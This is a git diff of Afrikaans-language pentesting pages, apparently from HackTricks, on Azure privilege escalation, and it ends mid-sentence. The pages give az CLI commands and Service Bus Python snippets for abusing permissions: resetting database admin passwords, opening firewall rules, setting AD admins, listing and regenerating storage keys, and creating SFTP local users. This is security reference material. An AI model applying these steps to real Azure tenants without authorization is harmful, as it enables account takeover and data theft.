Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Met hierdie toestemmings is dit moontlik om **'n nuwe gebruiker bestuurde identiteit aan 'n funksie te koppel**. As die funksie gecompromitteer was, sou dit toelaat om voorregte na enige gebruiker bestuurde identiteit te eskaleer. +Met hierdie toestemmings is dit moontlik om **'n nuwe gebruiker bestuurde identiteit aan 'n funksie te koppel**. As die funksie gecompromitteer was, sou dit moontlik wees om voorregte na enige gebruiker bestuurde identiteit op te skaal. ```bash az functionapp identity assign \ --name \ @@ -361,7 +352,7 @@ az functionapp identity assign \ ``` ### Afgeleë Foutopsporing -Dit is ook moontlik om te verbind om 'n lopende Azure-funksie te debug soos [**in die dokumentasie verduidelik**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). egter, standaard sal Azure hierdie opsie na 2 dae afskakel in die geval die ontwikkelaar vergeet om te verhoed dat kwesbare konfigurasies agtergelaat word. +Dit is ook moontlik om te verbind om 'n lopende Azure-funksie te debug soos [**in die dokumentasie verduidelik**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). egter, standaard sal Azure hierdie opsie binne 2 dae afskakel in die geval die ontwikkelaar vergeet om te verhoed dat kwesbare konfigurasies agtergelaat word. Dit is moontlik om te kyk of 'n Funksie foutopsporing geaktiveer het met: ```bash @@ -373,8 +364,8 @@ az functionapp config set --remote-debugging-enabled=True --name --re ``` ### Verander Github repo -Ek het probeer om die Github repo te verander van waar die ontplooiing plaasvind deur die volgende opdragte uit te voer, maar selfs al het dit verander, **is die nuwe kode nie gelaai nie** (waarskynlik omdat dit verwag dat die Github Action die kode opdateer).\ -Boonop is die **bestuurde identiteit federale geloofsbrief nie opgedateer nie**, wat die nuwe repo toelaat, so dit lyk nie baie nuttig nie. +Ek het probeer om die Github repo te verander van waar die ontplooiing plaasvind deur die volgende opdragte uit te voer, maar selfs al het dit verander, **was die nuwe kode nie gelaai nie** (waarskynlik omdat dit verwag dat die Github Action die kode opdateer).\ +Boonop was die **bestuurde identiteit federale akte nie opgedateer nie**, wat die nuwe repository toelaat, so dit lyk nie baie nuttig nie. ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 9c6a408a8..5f60cbd33 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ Vir meer inligting oor hierdie diens, kyk: ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` 'n Aanvaller met hierdie toestemming sal in staat wees om die beleid van 'n sleutelkluis te wysig (die sleutelkluis moet toegangbeleide gebruik in plaas van RBAC). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index 45c53d393..d6490dafb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc Vir meer inligting oor SQL Database, kyk: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) Met hierdie toestemming kan jy Azure Logic Apps workflows skep of opdateer. Workflows definieer geoutomatiseerde prosesse en integrasies tussen verskeie stelsels en dienste. - -{% code overflow="wrap" %} ```bash az logic workflow create \ --resource-group \ @@ -26,8 +24,6 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - En nadat jy dit verander het, kan jy dit uitvoer met: ```bash az rest \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -Met hierdie toestemmings kan jy Logic App werkvloei ontplooi deur ZIP-lêer ontplooiing. Hierdie toestemmings stel aksies in staat soos om app besonderhede te lees, toegang tot publikasie geloofsbriewe te verkry, veranderinge te skryf, en app konfigurasies te lys. Saam met die begin toestemmings kan jy 'n nuwe Logic App opdateer en ontplooi met die verlangde inhoud - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +Met hierdie toestemmings kan jy Logic App werkvloei ontplooi deur ZIP-lêer ontplooiing. Hierdie toestemmings stel aksies in staat soos om app besonderhede te lees, toegang te verkry tot publikasie geloofsbriewe, veranderinge te skryf, en app konfigurasies te lys. Saam met die begin toestemmings kan jy 'n nuwe Logic App opdateer en ontplooi met die gewenste inhoud. ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 114c7da4d..eb05574bc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL Databasis Privesc Vir meer inligting oor SQL Databasis, kyk: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` Met hierdie toestemming kan jy MySQL Flexible Server instansies op Azure skep, opdateer of verwyder. Dit sluit die voorsiening van nuwe bedieners, die wysiging van bestaande bediener konfigurasies, of die afskakeling van bedieners in. - -{% code overflow="wrap" %} ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - Byvoorbeeld, hierdie toestemmings laat die verandering van die MySQL wagwoord toe, nuttig natuurlik in die geval dat MySQL outentisering geaktiveer is. - -{% code overflow="wrap" %} ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Boonop is dit nodig om die publieke toegang geaktiveer te hê as jy van 'n nie-private eindpunt wil toegang hê, om dit te aktiveer: - -{% code overflow="wrap" %} +Boonop is dit nodig om die publieke toegang in te skakel as jy vanaf 'n nie-private eindpunt wil toegang hê, om dit in te skakel: ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} - -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` Met hierdie toestemming kan jy Azure Active Directory (AD) administrateurs vir 'n MySQL Flexible Server konfigureer. Dit kan uitgebuit word deur jouself of 'n ander rekening as die AD-administrator in te stel, wat volle administratiewe beheer oor die MySQL-bediener verleen. Dit is belangrik dat die flexible-server 'n gebruiker toegewyde bestuurde identiteite het om te gebruik. - -{% code overflow="wrap" %} ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 3b8c7a1a2..987e7e53d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc Vir meer inligting oor SQL Database, kyk: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` -Met hierdie toestemming kan jy PostgreSQL Flexible Server instansies op Azure skep, opdateer of verwyder. Dit sluit die voorsiening van nuwe bedieners, die wysiging van bestaande bediener konfigurasies, of die afskakeling van bedieners in. - -{% code overflow="wrap" %} +Met hierdie toestemming kan jy PostgreSQL Flexible Server instansies op Azure skep, opdateer of verwyder. Dit sluit die voorsiening van nuwe bedieners, die wysiging van bestaande bediener konfigurasies, of die afskaling van bedieners in. ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - Byvoorbeeld, hierdie toestemmings laat die verandering van die PostgreSQL wagwoord toe, nuttig natuurlik in die geval dat PostgreSQL outentisering geaktiveer is. - -{% code overflow="wrap" %} ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Boonop is dit nodig om die publieke toegang geaktiveer te hê as jy van 'n nie-private eindpunt wil toegang hê, om dit te aktiveer: - -{% code overflow="wrap" %} +Boonop is dit nodig om die publieke toegang geaktiveer te hê as jy vanaf 'n nie-private eindpunt wil toegang verkry, om dit te aktiveer: ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" - -Met hierdie toestemming kan jy Azure Active Directory (AD) administrateurs vir 'n PostgreSQL Flexible Server konfigureer. Dit kan uitgebuit word deur jouself of 'n ander rekening as die AD-administrator in te stel, wat volle administratiewe beheer oor die PostgreSQL-bediener toeken. Dit is nog nie ondersteun om 'n bestaande hoofpersoon op te dateer nie, so as daar een geskep is, moet jy dit eers verwyder. +Met hierdie toestemming kan jy Azure Active Directory (AD) administrateurs vir 'n PostgreSQL Flexible Server konfigureer. Dit kan uitgebuit word deur jouself of 'n ander rekening as die AD administrateur in te stel, wat volle administratiewe beheer oor die PostgreSQL bediener gee. Dit is nog nie ondersteun om 'n bestaande hoofpersoon op te dateer nie, so as daar een geskep is, moet jy dit eers verwyder. Dit is belangrik dat die flexible-server 'n gebruiker toegewyde bestuurde identiteite het om te gebruik. - -{% code overflow="wrap" %} ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 37995447c..596c973ab 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -12,7 +12,7 @@ Vir meer inligting, kyk: ### Stuur Berigte. Aksie: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OF `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Jy kan die `PrimaryConnectionString` verkry, wat as 'n geloofsbrief vir die Service Bus-namespace optree. Met hierdie verbindingsstring kan jy ten volle outentiseer as die Service Bus-namespace, wat jou in staat stel om boodskappe na enige wachtrij of onderwerp te stuur en moontlik met die stelsel te kommunikeer op maniere wat operasies kan ontwrig, geldige gebruikers kan naboots, of kwaadwillige data in die boodskapwerkvloei kan inspuit. +Jy kan die `PrimaryConnectionString` verkry, wat as 'n geloofsbrief vir die Service Bus-namespace optree. Met hierdie verbindingsstring kan jy ten volle autentiseer as die Service Bus-namespace, wat jou in staat stel om boodskappe na enige wachtrij of onderwerp te stuur en moontlik met die stelsel te kommunikeer op maniere wat operasies kan ontwrig, geldige gebruikers kan naboots, of kwaadwillige data in die boodskapwerkvloei kan inspuit. ```python #You need to install the following libraries #pip install azure-servicebus @@ -83,7 +83,7 @@ print("----------------------------") ``` ### Ontvang Berigte. Aksie: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OF `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Jy kan die PrimaryConnectionString verkry, wat as 'n geloofsbrief vir die Service Bus naamruimte dien. Met hierdie verbindingsstring kan jy berigte ontvang van enige wagte of subskripsie binne die naamruimte, wat toegang tot potensieel sensitiewe of kritieke data moontlik maak, wat data-uitvloeiing moontlik maak, of inmenging met boodskapverwerking en toepassingswerkvloei. +Jy kan die PrimaryConnectionString verkry, wat as 'n geloofsbrief vir die Service Bus naamruimte dien. Deur hierdie verbindingsstring te gebruik, kan jy berigte van enige wagte of subskripsie binne die naamruimte ontvang, wat toegang tot potensieel sensitiewe of kritieke data moontlik maak, data-uitvloeiing moontlik maak, of inmeng met boodskapverwerking en toepassingswerkvloei. ```python #You need to install the following libraries #pip install azure-servicebus @@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -As jy hierdie toestemmings het, kan jy voorregte verhoog deur gedeelde toegang sleutels te lees of te skep. Hierdie sleutels stel volle beheer oor die Service Bus naamruimte in, insluitend die bestuur van rye, onderwerpe, en die stuur/ontvang van boodskappe, wat moontlik rolgebaseerde toegangbeheer (RBAC) kan omseil. +As jy hierdie toestemmings het, kan jy voorregte opgradeer deur gedeelde toegang sleutels te lees of te skep. Hierdie sleutels stel volle beheer oor die Service Bus naamruimte in, insluitend die bestuur van rye, onderwerpe, en die stuur/ontvang van boodskappe, wat moontlik rolgebaseerde toegangbeheer (RBAC) kan omseil. ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 4ea8f2037..43d30b61a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -10,9 +10,9 @@ Vir meer inligting oor SQL Databasis, kyk: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -Met hierdie toestemmings kan 'n gebruiker privilige-escalasie uitvoer deur Azure SQL bedieners op te dateer of te skep en kritieke konfigurasies te wysig, insluitend administratiewe akrediteer. Hierdie toestemming laat die gebruiker toe om bediener eienskappe op te dateer, insluitend die SQL bediener admin wagwoord, wat ongeoorloofde toegang of beheer oor die bediener moontlik maak. Hulle kan ook nuwe bedieners skep, wat potensieel skadu-infrastruktuur vir kwaadwillige doeleindes kan inbring. Dit word veral krities in omgewings waar "Microsoft Entra Authentication Only" gedeaktiveer is, aangesien hulle SQL-gebaseerde autentisering kan benut om onbeperkte toegang te verkry. +Met hierdie toestemmings kan 'n gebruiker privilige-eskalasie uitvoer deur Azure SQL bedieners op te dateer of te skep en kritieke konfigurasies, insluitend administratiewe akredite, te wysig. Hierdie toestemming stel die gebruiker in staat om bediener eienskappe op te dateer, insluitend die SQL bediener admin wagwoord, wat ongeoorloofde toegang of beheer oor die bediener moontlik maak. Hulle kan ook nuwe bedieners skep, wat potensieel skadu-infrastruktuur vir kwaadwillige doeleindes kan inbring. Dit word veral krities in omgewings waar "Microsoft Entra Authentication Only" gedeaktiveer is, aangesien hulle SQL-gebaseerde verifikasie kan benut om onbeperkte toegang te verkry. ```bash # Change the server password az sql server update \ @@ -28,16 +28,16 @@ az sql server create \ --admin-user \ --admin-password ``` -Boonop is dit nodig om die publieke toegang geaktiveer te hê as jy van 'n nie-private eindpunt wil toegang verkry, om dit te aktiveer: +Boonop is dit nodig om die publieke toegang in te skakel as jy van 'n nie-private eindpunt wil toegang hê, om dit in te skakel: ```bash az sql server update \ --name \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` -'n Aanvaller kan firewallreëls op Azure SQL-bedieners manipuleer om ongeoorloofde toegang toe te laat. Dit kan benut word om die bediener oop te maak vir spesifieke IP-adresse of hele IP-reekse, insluitend openbare IP's, wat toegang vir kwaadwillige akteurs moontlik maak. Hierdie post-exploitasiemaatreël kan gebruik word om bestaande netwerkveiligheidsbeheer te omseil, volharding te vestig, of laterale beweging binne die omgewing te fasiliteer deur sensitiewe hulpbronne bloot te stel. +'n Aanvaller kan firewallreëls op Azure SQL-bedieners manipuleer om ongeoorloofde toegang toe te laat. Dit kan uitgebuit word om die bediener oop te maak vir spesifieke IP-adresse of hele IP-reekse, insluitend openbare IP's, wat toegang vir kwaadwillige akteurs moontlik maak. Hierdie post-uitbuiting aktiwiteit kan gebruik word om bestaande netwerkveiligheidsbeheer te omseil, volharding te vestig, of laterale beweging binne die omgewing te fasiliteer deur sensitiewe hulpbronne bloot te stel. ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -55,10 +55,10 @@ az sql server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -Boonop, `Microsoft.Sql/servers/outboundFirewallRules/delete` toestemming laat jou toe om 'n Firewall Reël te verwyder. +Daarnaast laat die `Microsoft.Sql/servers/outboundFirewallRules/delete` toestemming jou toe om 'n Firewall Reël te verwyder. LET WEL: Dit is nodig om die publieke toegang geaktiveer te hê. -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` Met hierdie toestemming kan jy IPv6 firewall reëls op 'n Azure SQL Server skep, wysig of verwyder. Dit kan 'n aanvaller of gemagtigde gebruiker in staat stel om bestaande netwerk sekuriteitskonfigurasies te omseil en ongemagtigde toegang tot die bediener te verkry. Deur 'n reël toe te voeg wat verkeer van enige IPv6 adres toelaat, kan die aanvaller die bediener oopmaak vir eksterne toegang. ```bash @@ -72,9 +72,9 @@ az sql server firewall-rule create \ Daarnaast laat die `Microsoft.Sql/servers/ipv6FirewallRules/delete` toestemming jou toe om 'n Firewall Reël te verwyder. LET WEL: Dit is nodig om die publieke toegang geaktiveer te hê. -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -Met hierdie toestemmings kan jy privesc in 'n Azure SQL Server omgewing deur toegang te verkry tot SQL databasisse en kritieke inligting te verkry. Deur die onderstaande opdrag te gebruik, kan 'n aanvaller of gemagtigde gebruiker hulself of 'n ander rekening as die Azure AD administrateur stel. As "Microsoft Entra Authentication Only" geaktiveer is, kan jy toegang tot die bediener en sy instansies verkry. Hier is die opdrag om die Azure AD administrateur vir 'n SQL bediener in te stel: +Met hierdie toestemmings kan jy privesc in 'n Azure SQL Server omgewing deur toegang te verkry tot SQL databasisse en kritieke inligting te onttrek. Met die onderstaande opdrag kan 'n aanvaller of gemagtigde gebruiker hulself of 'n ander rekening as die Azure AD administrateur stel. As "Microsoft Entra Authentication Only" geaktiveer is, kan jy toegang tot die bediener en sy instansies verkry. Hier is die opdrag om die Azure AD administrateur vir 'n SQL bediener in te stel: ```bash az sql server ad-admin create \ --server \ @@ -82,9 +82,9 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` -Met hierdie toestemmings kan jy "Microsoft Entra Authentication Only" op 'n Azure SQL Server konfigureer en afdwing, wat privilige-escalasie in sekere scenario's kan vergemaklik. 'n Aanvaller of 'n gemagtigde gebruiker met hierdie toestemmings kan Azure AD-slegs verifikasie aktiveer of deaktiveer. +Met hierdie toestemmings kan jy "Microsoft Entra Authentication Only" op 'n Azure SQL Server konfigureer en afdwing, wat privilige-escalasie in sekere scenario's kan fasiliteer. 'n Aanvaller of 'n gemagtigde gebruiker met hierdie toestemmings kan Azure AD-slegs autentisering aktiveer of deaktiveer. ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 362f5876f..c2807761b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,27 +4,27 @@ ## Storage Privesc -Vir meer inligting oor stoor, kyk: +Vir meer inligting oor berging, kyk: {{#ref}} ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` -'n Hoofpersoon met hierdie toestemming sal in staat wees om die **toegang sleutels** van die stoor rekeninge te lys (en die geheime waardes). Dit stel die hoofpersoon in staat om sy/haar voorregte oor die stoor rekeninge te verhoog. +'n Hoofpersoon met hierdie toestemming sal in staat wees om die **toegang sleutels** van die berging rekeninge te lys (en die geheime waardes). Dit stel die hoofpersoon in staat om sy of haar voorregte oor die berging rekeninge te verhoog. ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` 'n Hoofpersoon met hierdie toestemming sal in staat wees om die nuwe geheime waarde van die **toegang sleutels** van die stoor rekeninge te hernu en te verkry. Dit stel die hoofpersoon in staat om sy/haar voorregte oor die stoor rekeninge te verhoog. -Boonop sal die gebruiker in die antwoord die waarde van die hernude sleutel en ook van die nie-hernuede een ontvang: +Boonop sal die gebruiker in die antwoord die waarde van die hernude sleutel en ook van die nie-hernuede sleutel ontvang: ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` 'n Hoofpersoon met hierdie toestemming sal in staat wees om 'n bestaande stoorrekening te skep of op te dateer deur enige instelling soos netwerkreëls of beleide op te dateer. ```bash @@ -36,7 +36,7 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs Spesifieke privesc -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` Die eerste toestemming laat toe om **immutability policies** in houers te **wysig** en die tweede om hulle te verwyder. @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## Lêer gedeeltes spesifieke privesc -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` Dit behoort 'n gebruiker met hierdie toestemming in staat te stel om die eienaarskap van lêers binne die gedeelde lêerstelsel te neem. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` Dit behoort 'n gebruiker met hierdie toestemming in staat te stel om die toestemmings van lêers binne die gedeelde lêerstelsel te wysig. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` Dit behoort 'n gebruiker met hierdie toestemming in staat te stel om aksies binne 'n lêerstelsel as 'n supergebruiker uit te voer. -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Met hierdie toestemming kan 'n aanvaller 'n nuwe plaaslike gebruiker vir 'n Azure Storage-rekening (gekonfigureer met hiërargiese naamruimte) skep en opdateer (indien hy `Microsoft.Storage/storageAccounts/localusers/read` toestemming het), insluitend die spesifisering van die gebruiker se toestemmings en tuisgids. Hierdie toestemming is belangrik omdat dit die aanvaller in staat stel om hulself toegang tot 'n stoorrekening met spesifieke toestemmings soos lees (r), skryf (w), verwyder (d), en lys (l) en meer te verleen. Boonop kan die autentikasie metodes wat dit gebruik Azure-gegeneerde wagwoorde en SSH-sleutelpaar wees. Daar is geen kontrole of 'n gebruiker reeds bestaan nie, so jy kan ander gebruikers wat reeds daar is oorskryf. Die aanvaller kan hul bevoegdhede opgradeer en SSH-toegang tot die stoorrekening verkry, wat moontlik sensitiewe data blootstel of in gevaar stel. +Met hierdie toestemming kan 'n aanvaller 'n nuwe plaaslike gebruiker vir 'n Azure Storage-rekening (gekonfigureer met hiërargiese naamruimte) skep en opdateer (indien hy die `Microsoft.Storage/storageAccounts/localusers/read` toestemming het), insluitend die spesifisering van die gebruiker se toestemmings en tuisgids. Hierdie toestemming is belangrik omdat dit die aanvaller in staat stel om hulself toegang tot 'n stoorrekening met spesifieke toestemmings soos lees (r), skryf (w), verwyder (d), en lys (l) en meer te verleen. Boonop kan die verifikasiemetodes wat dit gebruik Azure-gegeneerde wagwoorde en SSH-sleutelpaar wees. Daar is geen kontrole of 'n gebruiker reeds bestaan nie, so jy kan ander gebruikers wat reeds daar is, oorskryf. Die aanvaller kan hul bevoegdhede opgradeer en SSH-toegang tot die stoorrekening verkry, wat moontlik sensitiewe data blootstel of in gevaar stel. ```bash az storage account local-user create \ --account-name \ @@ -80,9 +80,9 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` -Met hierdie toestemming kan 'n aanvaller die wagwoord vir 'n plaaslike gebruiker in 'n Azure Storage-rekening hernu. Dit gee die aanvaller die vermoë om nuwe autentikasie-inligting (soos 'n SSH of SFTP-wagwoord) vir die gebruiker te verkry. Deur hierdie inligting te benut, kan die aanvaller ongeoorloofde toegang tot die opslagrekening verkry, lêer oordragte uitvoer, of data binne die opslaghouers manipuleer. Dit kan lei tot data lekkasie, korrupsie, of kwaadwillige wysiging van die inhoud van die opslagrekening. +Met hierdie toestemming kan 'n aanvaller die wagwoord vir 'n plaaslike gebruiker in 'n Azure Storage-rekening hernu. Dit gee die aanvaller die vermoë om nuwe verifikasiekredens (soos 'n SSH of SFTP-wagwoord) vir die gebruiker te verkry. Deur hierdie kredensiale te benut, kan die aanvaller ongeoorloofde toegang tot die opslagrekening verkry, lêer oordragte uitvoer, of data binne die opslaghouers manipuleer. Dit kan lei tot datalek, korrupsie, of kwaadwillige wysiging van die inhoud van die opslagrekening. ```bash az storage account local-user regenerate-password \ --account-name \ @@ -94,9 +94,9 @@ Om toegang te verkry tot Azure Blob Storage via SFTP (is_hns_enabled moet waar w sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -Met hierdie toestemmings kan 